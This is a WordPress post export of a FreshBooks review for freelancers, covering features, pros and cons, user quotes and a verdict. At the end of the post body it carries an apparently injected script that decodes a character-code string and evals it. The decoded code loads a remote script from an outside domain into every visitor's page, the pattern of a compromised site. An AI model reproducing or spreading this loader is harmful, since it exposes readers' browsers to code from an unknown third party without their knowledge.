{"id":6275,"date":"2023-06-09T10:55:54","date_gmt":"2023-06-09T10:55:54","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freshbooks-review-online-accounting-software-for-freelancers\/"},"modified":"2023-06-09T10:55:54","modified_gmt":"2023-06-09T10:55:54","slug":"freshbooks-review-online-accounting-software-for-freelancers","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/","title":{"rendered":"Freshbooks Review &#8211; Online Accounting Software for Freelancers"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/#Freshbooks_Review\" title=\"Freshbooks Review\">Freshbooks Review<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/#What_is_Freshbooks\" title=\"What is Freshbooks?\">What is Freshbooks?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/#Freshbooks_Features\" title=\"Freshbooks Features\">Freshbooks Features<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/#Freshbooks_Pros\" title=\"Freshbooks Pros\">Freshbooks Pros<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/#Freshbooks_Cons\" title=\"Freshbooks Cons\">Freshbooks Cons<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/#What_freelancers_think_of_Freshbooks\" title=\"What freelancers think of Freshbooks\">What freelancers think of Freshbooks<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"http:\/\/benrmatthews.local\/freshbooks-review-online-accounting-software-for-freelancers\/#Our_Verdict\" title=\"Our Verdict\">Our Verdict<\/a><\/li><\/ul><\/nav><\/div>\n<p><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/03\/Freshbooks-Review-2019.png&quot; alt=&quot;Freshbooks Review 2019&quot; width=&quot;1267&quot; height=&quot;642&quot; class=&quot;aligncenter wp-image-4640 size-full&quot;><\/p>\n<p>FreshBooks makes doing your freelance business invoicing and billing simple, saving you time to focussing on the freelance work you love and getting paid much faster.<\/p>\n<p>But is Freshbooks any good and should you use it for your freelance work? Take a look at our Freshbooks review.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Freshbooks_Review\"><\/span><strong>Freshbooks Review<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li>30-day free trial<\/li>\n<li>From $15\/month<\/li>\n<li>Sign up at&nbsp;freshbooks.com<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"What_is_Freshbooks\"><\/span><span id=&quot;What_is_Freshbooks&quot;><strong>What is Freshbooks?<\/strong><\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>FreshBooks&nbsp;is one of the most established freelancing accounting software in the market today, having been founding back in January 2003, by the owner of a design agency who was frustrated that when it came to billing clients, Word and Excel were difficult to use and weren\u2019t built to create professional looking invoices.<\/p>\n<p>Over the past few decades, Freshbooks has grown to a comprehensive freelancing accounting platform that automates tasks like invoicing, organizing expenses, tracking time and following up with clients.<\/p>\n<p>Getting start with Freshbooks is easy. Most people send their first invoice seconds after starting their free trial. The same goes for&nbsp;tracking time,&nbsp;managing expenses,&nbsp;collaborating with contractors&nbsp;and&nbsp;viewing financial reports.<\/p>\n<p>If you need help at any time, their&nbsp;award-winning customer service&nbsp;is a phone call or an email away.<\/p>\n<p>You also get a 30-day money back guarantee, so you don\u2019t have to worry about switching away from FreshBooks if it\u2019s not right for you.<\/p>\n<p>Their mobile app is also worth a mention as it\u2019s one of the more polished apps on the market and event lets you respond to your clients\u2019 questions and feedback right from the app so even when you\u2019re on the go, your conversations are kept in one place.<\/p>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/03\/FreshBooks-makes-doing-your-freelance-business-invoicing-and-billing-simple.png&quot; alt=&quot;FreshBooks makes doing your freelance business invoicing and billing simple&quot; width=&quot;1206&quot; height=&quot;411&quot; class=&quot;wp-image-4641 size-full&quot;>\n<h2><span class=\"ez-toc-section\" id=\"Freshbooks_Features\"><\/span><span id=&quot;Freshbooks_Features&quot;><strong>Freshbooks Features<\/strong><\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li>Customize invoices and look professional<\/li>\n<li>Send estimates that help you win jobs<\/li>\n<li>Accept credit cards online and get paid faster<\/li>\n<li>Simple time tracking to never miss a billable hour<\/li>\n<li>Automatically import expenses to track spending<\/li>\n<li>Project budgets that keep your team on track<\/li>\n<li>Dashboards that keep your finger on the pulse<\/li>\n<li>Powerful reports with insights about your business<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Freshbooks_Pros\"><\/span><span id=&quot;Freshbooks_Pros&quot;><strong>Freshbooks Pros<\/strong><\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li>Proposals, invoices, projects, expenses and time tracking all in one \u2013 you can run your whole <a href=\"&quot;https:\/\/benrmatthews.com\/freshbooks-review-online-accounting-software\/&quot;\" class=\"broken_link\">freelance business through Freshbooks<\/a><\/li>\n<li>Professional looking invoices that are quick to create<\/li>\n<li>Tracking expenses in FreshBooks is straightforward<\/li>\n<li>Time tracking features mean you can track time using FreshBooks<\/li>\n<li>Freshbooks claims you can get paid up to 11 days faster when you accept credit cards online in FreshBooks.<\/li>\n<li>Reports in FreshBooks are simple enough for you to understand but detailed enough for your accountant to use<\/li>\n<li>With the FreshBooks mobile app you can stay connected with your clients and be able to take care of your accounting on the move.<\/li>\n<\/ul>\n<h2><span class=\"ez-toc-section\" id=\"Freshbooks_Cons\"><\/span><span id=&quot;Freshbooks_Cons&quot;><strong>Freshbooks Cons<\/strong><\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<ul>\n<li>Limits the number of clients you can invoice on the lower paid tiers<\/li>\n<li>Some freelancers report issues with automated connections to bank accounts or Paypal<\/li>\n<li>Recent enhancements have made the product less intuitive and more difficult to use<\/li>\n<li>Setting the time on a task is counter-intuitive and seems to be visual perk that has no value and there is no timer on phone apps<\/li>\n<li>Can\u2019t create recurring expenses<\/li>\n<li>Cannot sort invoices by type, or by paid or draft<\/li>\n<\/ul>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/03\/Freshbooks-has-grown-to-a-comprehensive-freelancing-accounting-platform-that-automates-tasks.png&quot; alt=&quot;Freshbooks has grown to a comprehensive freelancing accounting platform that automates tasks&quot; width=&quot;1241&quot; height=&quot;409&quot; class=&quot;wp-image-4642 size-full&quot;>\n<h2><span class=\"ez-toc-section\" id=\"What_freelancers_think_of_Freshbooks\"><\/span><span id=&quot;What_freelancers_think_of_Freshbooks&quot;><strong>What freelancers think of Freshbooks<\/strong><\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>\u201cFreshBooks has allowed me to free up time and focus on growing my business. Thank you!\u201d \u2013 Deric<\/p>\n<p>\u201cFreshbooks has been a program I\u2019ve been using for several years now as they\u2019ve made my time tracking and invoicing so much more efficient than my old school manual method of Excel and custom invoices.\u201d \u2013 Victor<\/p>\n<p>\u201cFreshBooks should be a great product. It\u2019s easy to use with good workflow, the UI is terrific, our customers love it and it does exactly what we want. \u201d \u2013 David<\/p>\n<p>\u201cIt\u2019s a little pricey if you have multiple businesses. Otherwise I love everything about it.\u201d. \u2013 Matthew<\/p>\n<h2><span class=\"ez-toc-section\" id=\"Our_Verdict\"><\/span><strong>Our Verdict<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span>There are plenty of invoicing systems and marketplaces for freelancers out there, but what sets&nbsp;Freshbooks&nbsp;freelance tools apart is the element of guidance and the simplified nature of its service.&nbsp;<\/span><\/p>\n<p>With today\u2019s digital economy allowing for the career flexibility that freelancers crave, we recommend Freshbooks as a viable choice for freelancers everywhere.<\/p>\n<p>Sign up to a free 30-day trial to Freshbooks at freshbooks.com<\/p>\n<p>Read our roundup of the best online accounting software for freelancers and small business<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>FreshBooks makes doing your freelance business invoicing and billing simple, saving you time to focussing on the freelance work you love and getting paid much faster. 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